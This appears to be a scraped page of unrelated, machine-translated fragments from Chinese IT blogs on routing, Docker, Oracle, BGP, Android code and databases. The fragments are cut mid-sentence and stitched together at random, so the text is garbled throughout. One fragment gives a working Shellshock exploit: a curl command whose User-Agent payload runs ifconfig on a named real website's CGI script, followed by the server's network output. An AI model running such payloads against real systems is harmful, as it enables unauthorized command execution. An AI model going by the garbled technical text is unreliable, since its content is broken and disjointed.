metric micrometer

should send the "ICMP timed out" message back to the source system. Tracert sends a response packet with a TTL of 1 and increments the TTL by 1 in each subsequent send process until the target response or TTL reaches its maximum value to determine the route. Route is determined by examining the "ICMP timed out" message sent back by the intermediary router. Some routers discard the TTL-expired packets without asking, which is not visible in the tracert utility. The Tracert command prints a list

connects the Docker container on one host to a virtual network bridge. The following highlights this pattern.Host mode Use –net=host to specify when using Docker runThe network used by Docker is actually the same as the host, and the IP card that is seen in the container is the IP on the host. [Root@localhost ~]# Docker run-it--rm--net=host centos_with_net Bash –RM, delete the mirror while exiting the mirror [Root@localhost/]# ifconfig docker0:flags=4163 Comparison of IP information

RUNNING MTU: 1500 metric:1 RX packets:1428 errors:0 dropped:0 overruns:0 frame:0 TX packets:2 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:190928 (186 .4 KiB) TX bytes:128 (128.0 b) interrupt:20 eth1 Link encap:ethernet hwaddr 00:1f:29:03:54:3 D inet addr:172.28.102.250 bcast:172.28.255.255 mask:255.255.0.0 up broadcast RUNNING MTU : 1500 metric:1 RX pac

For example, the database administrator now needs to have the Oracle database System Monitor itself. Automatically alert the database administrator when the CPU usage of the server is reached, or automatically remind the database administrator, etc. when the usage of the tablespace reaches 90% of the full maximum capacity. These features are certainly useful for database administrators. There are several ways to help administrators monitor Oracle application environments in Enterprise Manager fo

:255.255.255.0Up broadcast RUNNING multicast mtu:1500 metric:1RX packets:8700857 errors:0 dropped:0 overruns:0 frame:0TX packets:31533 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:596390239 (568.7 MiB) TX bytes:2886956 (2.7 MiB)Lo Link encap:local Loopbackinet addr:127.0.0.1 mask:255.0.0.0Up LOOPBACK RUNNING mtu:16436 metric:1RX packets:68 errors:0 dropped:0 overruns:0 frame:0

Cool music command execution on a site Cool-me command execution on a site Managetest.kuwo.cn bash Command Execution VulnerabilityCurl-A "() {foo;}; echo;/sbin/ifconfig" http://managetest.kuwo.cn/cgi-bin/test-cgiEth0 Link encap: Ethernet HWaddr 00: 1A: A0: 0D: FB: 38Inet addr: 60.28.205.41 Bcast: 60.28.205.63 Mask: too many bytesInet6 addr: fe80: 21a: a0ff: fe0d: fb38/64 Scope: LinkUp broadcast running multicast mtu: 1500 Metric: 1RX packets: 11503525

, operations are much more convenient. -- 1. synchronous failoverVoid calcpi (INT digits){//... If there is a token for interaction with the UI interface, you must use the callback method.} Delegate void calcpidelegate (INT digits );Void calcbutton_click (Object sender, eventargs E){//...//Calcpidelegate calcpi = new calcpidelegate (calcpi );// Synchronous token, same as calcpi. InvokeCalcpi (INT) This. decimalplacesnumericupdown. value );} -- 2. asynchronous callbackVoid calcpi (INT digits){//.

bound network card is eth0.[Oracle @ UNID02 ~] $ Srvctl config nodeapps-n UNID02-a-g-s-lVIP exists.:/UNID02-vip/10.0.15.176/255.255.255.0/eth2GSD exists.ONS daemon exists.Listener exists.[Oracle @ UNID02 ~] $ Srvctl config nodeapps-n unid01-a-g-s-lVIP exists.:/unid01-vip/10.0.15.175/255.255.255.0/eth0GSD exists.ONS daemon exists.Listener exists. Ifconfig check found that eth0 is not enabled[Oracle @ UNID02 ~] $ [Root @ UNID02 bin] # ifconfigEth1 Link encap: Ethernet HWaddr A4: BA: DB: 13: EA: C

ipv4 vrf BG // configure MP_BGPNeighbor 172.17.59.2 remote-as 65001 // create an EBGP neighborNo auto-summaryNo synchronizationExit-address-familyRT9:Router bgp 65001No synchronizationNetwork 9.9.9 mask 255.255.255.255Network 172.17.9.0 mask 255.255.255.0Network 172.17.59.0 mask 255.255.255.252Neighbor 172.17.59.1 remote-as 65000No auto-summary5. mpls vpn commissioningRT4:Router bgp 65000Address-family ipv4 vrf SCRedistribute connected metric 1000 //

spValue * @ param fontScale (attribute scaledDensity in the DisplayMetrics class) * @ return */public static int sp2px (float spValue, float fontScale) {return (int) (spValue * fontScale + 0.5f);}/*** obtain screen density * @ param context * @ return */public static int getScreenDensityDpi (Activity context) {DisplayMetrics metric = new DisplayMetrics (); context. getWindowManager (). getdefadisplay display (). getMetrics (

XML this applet uses DOM to read XML files, and dom4j to write XML files. dom4j Download Address: http://sourceforge.net/projects/dom4j 1. Applet Main program Mainframe.java Package frame; /** * @author WLS */ Import java.applet.*; Import java.awt.*; Import java.awt.event.*; public class MainFrame Extends Applet { Domxml domxml = new Domxml (); Button Btnexit = New button ("Exit"); Button Btnrun = New button ("Save"); Label Lblmain = new Label ("Dynamicroute.xml configuration File"); Label

-by-n) row vectors x1, x2, ..., XM, the various distances between t He vector Xs and XT are defined as follows: Euclid distance Euclidean distance (' Euclidean ') D 2 s,t = (x S x T) (x S x T) Notice that the Euclidean distance was a special case of the Minkowski metric, where P = 2. Euclidean distances, while useful, have obvious drawbacks. One: It treats the difference between the different properties of the sample (i.e., each indicator or varia

original link: http://www.jianshu.com/p/0bafd0168647OPENTSDB Introduction 1.1, Opentsdb is what? What are the main uses?Official documentation describes this: Opentsdb is a distributed, scalable time Series Database (TSDB) written on top of HBase;A distributed, scalable time-series database based on HBase is translated.The main purpose is to do a monitoring system, such as the collection of large-scale clusters (including network equipment, operating systems, applications) monitoring data and st

to the Internet, we enter at the command line: Route print displays the routing table, as shown, and the current default gateway is 172.16.0.1. Ping Internal network 172.16.0.0 all appear normal. Next the user is connected to the Internet, and then we re-enter the route print display routing table, discovering that the routing table default route has changed, and the default gateway from 172.16.0.1 to 61.30.30.61, which is the gateway address of the network card 1 connection. Then we ping 172.

Use of Xen virtual machines (i) using virtual machine profiles and disk files to manually start the virtual machine system After the virtual machine system is created, the virtual system will start up and use the XM List command to see all the virtual machines that are started , but the next time we restart the system, we will not see the virtual machines created with the XM list . the network device for the virtual machine is not visible in the network device . At this point we need to manua

inaccessible. Every 30 seconds, the distance vector routing protocol sends the entire route selection table to the adjacent site to update the route selection table of the adjacent site. In this way, it can collect a list of networks from other sites (directly connected or connected in other ways) for route selection. Distance Vector Routing uses the number of hops as the metric value to calculate the number of routers that need to pass to the destin

Next we will parse the content of the route information protocol RIP. For some of the content of this protocol, we will mainly explain the background of this Protocol, as well as the contents related to the route update metric, stability, and timer. I hope this will help you. I. background The route information protocol (RIP) uses the number of hops as the distance vector protocol of metric. RIP is widely u

simple, as shown below: Optimization: Configuration: what's really important As noted by Vadim long ago, "Tuning of TokuDB is much easier than InnoDB, there're only a few parameters to change, and actually out-of-box things running pretty well":The optimization of TokuDB is much easier than that of InnoDB, but there are some parameter changes, or you can directly use the default parameter, it also runs well.MariaDB [(none)]> show variables like '% tokudb % '; + bytes + ------------

Let's take a look at http://www.cnblogs.com/bonelee/p/6236962.html. Here for the Ring database introduction, easy to understand the archive this operation!Transferred from: http://blog.sina.com.cn/s/blog_6de3aa8a0102wk0y.htmlThe early OpenStack Monitoring (telemetry) project Ceilometer was divided into four (ceilometer, gnocchi, Aodh, panko), with their respective roles! Among them, Ceilometer is responsible for collecting measurement data and processing pretreatment; Gnocchi is mainly used to p

The route command for the Linux system is used to display and manipulate the IP routing table (show/manipulate the IP routing table). To achieve communication between two different subnets, you need a router that is connected to two networks, or a gateway to two networks. In Linux systems, routing is usually done to address the problem that the Linux system has a gateway in a local area network that allows the machine to access the Internet, so the IP address of the machine needs to be set to th